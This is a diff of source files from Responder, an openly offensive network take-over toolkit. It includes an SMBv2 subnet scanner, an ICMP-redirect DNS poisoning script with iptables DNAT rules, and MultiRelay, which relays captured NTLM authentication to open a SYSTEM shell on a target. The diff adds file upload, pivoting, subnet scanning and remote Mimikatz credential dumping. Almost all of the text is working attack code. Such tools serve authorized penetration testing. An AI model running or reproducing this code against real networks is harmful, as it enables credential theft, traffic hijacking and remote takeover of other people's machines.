print "This host doesn't support SMBv2" print("Server", host[0], "doesn't support SMBv2")
if data[4:5] == "\xfe": if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124])) IsDCVuln(GetBootTime(data[116:124]), host)
except Exception:
except KeyboardInterrupt:
s.close() s.close()
raise sys.exit("\rExiting...")
except:
s.close()
pass
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv)<=1: if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address') sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
host = sys.argv[1],445
run(host) m = re.search("/", str(sys.argv[1]))
if m :
net,_,mask = sys.argv[1].partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=run, args=((host,445),))
threads.append(p)
p.start()
else:
run((str(sys.argv[1]),445))

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -16,7 +16,7 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from socket import * from socket import *
print 'MSSQL Server Finder 0.1' print('MSSQL Server Finder 0.2')
s = socket(AF_INET,SOCK_DGRAM) s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
@@ -24,17 +24,15 @@ s.settimeout(2)
s.sendto('\x02',('255.255.255.255',1434)) s.sendto('\x02',('255.255.255.255',1434))
try: try:
while 1: while 1:
data, address = s.recvfrom(8092) data, address = s.recvfrom(8092)
if not data: if not data:
break break
else: else:
print "===============================================================" print("===============================================================")
print "Host details:",address[0] print(("Host details: %s"%(address[0])))
print data[2:] print((data[2:]))
print "===============================================================" print("===============================================================")
print "" print("")
except: except:
pass pass

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
options, args = parser.parse_args() options, args = parser.parse_args()
if options.OURIP is None: if options.OURIP is None:
print "-i mandatory option is missing.\n" print("-i mandatory option is missing.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.OriginalGwAddr is None: elif options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n" print("-g mandatory option is missing, please provide the original gateway address.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.VictimIP is None: elif options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n" print("-t mandatory option is missing, please provide a target.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.Interface is None: elif options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n" print("-I mandatory option is missing, please provide your network interface.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.ToThisHost is None: elif options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n" print("-r mandatory option is missing, please provide a destination target.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr):
data = s.recv(1024) data = s.recv(1024)
DstMac = data[22:28] DstMac = data[22:28]
DestMac = DstMac.encode('hex') DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac return PrintMac,DstMac
except: except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
exit(1) exit(1)
def IcmpRedirectSock(DestinationIP): def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP) PrintMac,DestMac = ReceiveArpFrame(VictimIP)
print '[ARP]Target Mac address is :',PrintMac print('[ARP]Target Mac address is :',PrintMac)
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
print '[ARP]Router Mac address is :',PrintMac print('[ARP]Router Mac address is :',PrintMac)
s = socket(AF_PACKET, SOCK_RAW) s = socket(AF_PACKET, SOCK_RAW)
Protocol = 0x0800 Protocol = 0x0800
s.bind((Interface, Protocol)) s.bind((Interface, Protocol))
@@ -210,11 +210,11 @@ def IcmpRedirectSock(DestinationIP):
IPPack.calculate() IPPack.calculate()
final = str(Eth)+str(IPPack) final = str(Eth)+str(IPPack)
s.send(final) s.send(final)
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
def FindWhatToDo(ToThisHost2): def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None: if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script') Show_Help('Hit CTRL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP) RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None: if ToThisHost2 == None:
Show_Help(MoreHelp) Show_Help(MoreHelp)
@@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip):
ouripadd = pipes.quote(ip) ouripadd = pipes.quote(ip)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.")
while True: while True:
IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2) IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..." print("[+]Repoisoning the target in 8 minutes...")
sleep(480) sleep(480)
FindWhatToDo(ToThisHost2) FindWhatToDo(ToThisHost2)

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -20,6 +20,8 @@ import os
import logging import logging
import optparse import optparse
import time import time
import random
import subprocess
from threading import Thread from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try: try:
@@ -28,26 +30,39 @@ except ImportError:
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
print "You can install it on debian based os with this command: apt-get install python-crypto" print "You can install it on debian based os with this command: apt-get install python-crypto"
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
try:
import readline
except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
pass
from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import * from MultiRelay.RelayMultiCore import *
from SMBFinger.Finger import RunFinger from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import * from socket import *
__version__ = "1.2" __version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
for arg in parser.rargs: for arg in parser.rargs:
if arg[0] != "-": if arg[0] != "-":
args.append(arg) args.append(arg)
if arg[0] == "-":
break
if getattr(parser.values, op.dest): if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest)) args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args) setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
@@ -67,31 +82,37 @@ if options.UserToRelay is None:
if options.ExtraPort is None: if options.ExtraPort is None:
options.ExtraPort = 0 options.ExtraPort = 0
OneCommand = options.OneCommand if not os.geteuid() == 0:
Dump = options.Dump print color("[!] MultiRelay must be run as root.")
ExtraPort = options.ExtraPort sys.exit(-1)
UserToRelay = options.UserToRelay
Host = options.TARGET, 445 OneCommand = options.OneCommand
Cmd = [] Dump = options.Dump
ShellOpen = [] ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = [options.TARGET]
Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome(): def ShowWelcome():
print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1) print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
print color('Version: '+__version__,8,1)
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.' print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\n' print 'To kill this script hit CTRL-C.\n'
print color('/*',8,1)
print 'Use this script in combination with Responder.py for best results.' print 'Use this script in combination with Responder.py for best results.'
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
print 'This tool listen on TCP port 80, 3128 and 445.' print 'This tool listen on TCP port 80, 3128 and 445.'
print 'Make sure nothing use these ports.\n' print 'For optimal pwnage, launch Responder only with these 2 options:'
print 'For optimal pwnage, launch Responder with only these 2 options:' print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
print '-rv\nRunning psexec style commands can be noisy in the event viewer,' print 'If you do so, use taskkill (as system) to kill the process.'
print 'if anyone ever reads it.. If you want to leave no trace in the' print color('*/',8,1)
print 'event viewer, use Responder\'s built-in commands. They silently'
print 'perform the tasks requested, including the hashdump command.'
print color('\nRelaying credentials for these users:',8,1) print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1) print color(UserToRelay,4,1)
print '\n' print '\n'
@@ -105,14 +126,29 @@ def ShowHelp():
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.' print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
print ' If you want to quit type exit and then use CRTL-C\n' print ' If you want to quit type exit and then use CTRL-C\n'
print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
Logs = logging Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def UploadContent(File):
with file(File) as f:
s = f.read()
FileLen = len(s)
FileContent = s
return FileLen, FileContent
try: try:
RunFinger(Host[0]) RunFinger(Host[0])
@@ -137,30 +173,37 @@ def IsShellOpen():
else: else:
return True return True
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
def IsPivotOn():
#While there's nothing in our array return false.
if Pivoting[0] == "2":
return False
#If there is return True.
if Pivoting[0] == "1":
return True
def ConnectToTarget(): def ConnectToTarget():
try: try:
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
#Override TCP keep-alives s.connect((Host[0],445))
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
# macOS does not have TCP_KEEPIDLE
if sys.platform != 'darwin':
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host)
return s return s
except: except:
"Cannot connect to target, host down?" try:
sys.exit(1) sys.exit(1)
print "Cannot connect to target, host down?"
except:
pass
class HTTPProxyRelay(BaseRequestHandler): class HTTPProxyRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
return None return None
if IsPivotOn():
return None
except: except:
raise raise
@@ -182,7 +225,7 @@ class HTTPProxyRelay(BaseRequestHandler):
if Packet_NTLM == "\x01": if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData()) n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
@@ -191,18 +234,18 @@ class HTTPProxyRelay(BaseRequestHandler):
smbdata = s.recv(2048) smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00": if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) #got it here. smbdata = s.recv(2048) #got it here.
## Send HTTP Proxy ## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092) data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -219,21 +262,22 @@ class HTTPProxyRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None self.request.close()
return None
else: else:
##Any other type of request, send a 407. ##Any other type of request, send a 407.
@@ -247,13 +291,15 @@ class HTTPProxyRelay(BaseRequestHandler):
class HTTPRelay(BaseRequestHandler): class HTTPRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
return None return None
if IsPivotOn():
return None
except: except:
raise raise
@@ -276,7 +322,7 @@ class HTTPRelay(BaseRequestHandler):
if Packet_NTLM == "\x01": if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData()) n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
@@ -285,18 +331,18 @@ class HTTPRelay(BaseRequestHandler):
smbdata = s.recv(2048) smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00": if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) #got it here. smbdata = s.recv(2048) #got it here.
## Send HTTP Response. ## Send HTTP Response.
Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092) data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -313,24 +359,25 @@ class HTTPRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None self.request.close()
return None
else: else:
##Any other type of request, send a 407. ##Any other type of request, send a 401.
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
self.request.send(str(Response)) self.request.send(str(Response))
@@ -341,7 +388,7 @@ class HTTPRelay(BaseRequestHandler):
pass pass
class SMBRelay(BaseRequestHandler): class SMBRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
@@ -352,13 +399,12 @@ class SMBRelay(BaseRequestHandler):
raise raise
s = ConnectToTarget() s = ConnectToTarget()
try: try:
data = self.request.recv(4096) data = self.request.recv(4096)
##Negotiate proto answer. That's us. ##Negotiate proto answer. That's us.
if data[8:10] == "\x72\x00": if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
@@ -368,13 +414,13 @@ class SMBRelay(BaseRequestHandler):
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1: if data.find("NTLM") is not -1:
## Start with nego protocol + session setup negotiate to our target. ## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s) data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1: if data.find("NTLM") is not -1:
##Relay all that to our client. ##Relay all that to our client.
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
t = smbdata[36:] t = smbdata[36:]
@@ -389,104 +435,126 @@ class SMBRelay(BaseRequestHandler):
if IsSMBAnonymous(data): if IsSMBAnonymous(data):
##Send logon failure for anonymous logins. ##Send logon failure for anonymous logins.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty() t = SMBSessEmpty()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(buffer1)
#data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
s.close() s.close()
return None return None
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host) Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
##Got the ntlm message 3, send it over to SMB. ##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = data[36:]#Final relay. t = data[36:]#Final relay.
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." if Pivoting[0] == "1":
pass
else:
print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(4096) smbdata = s.recv(4096)
#We're all set, dropping into shell. #We're all set, dropping into shell.
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
#If runcmd is None it's because tree connect was denied for this user. #If runcmd is None it's because tree connect was denied for this user.
#This will only happen once with that specific user account. #This will only happen once with that specific user account.
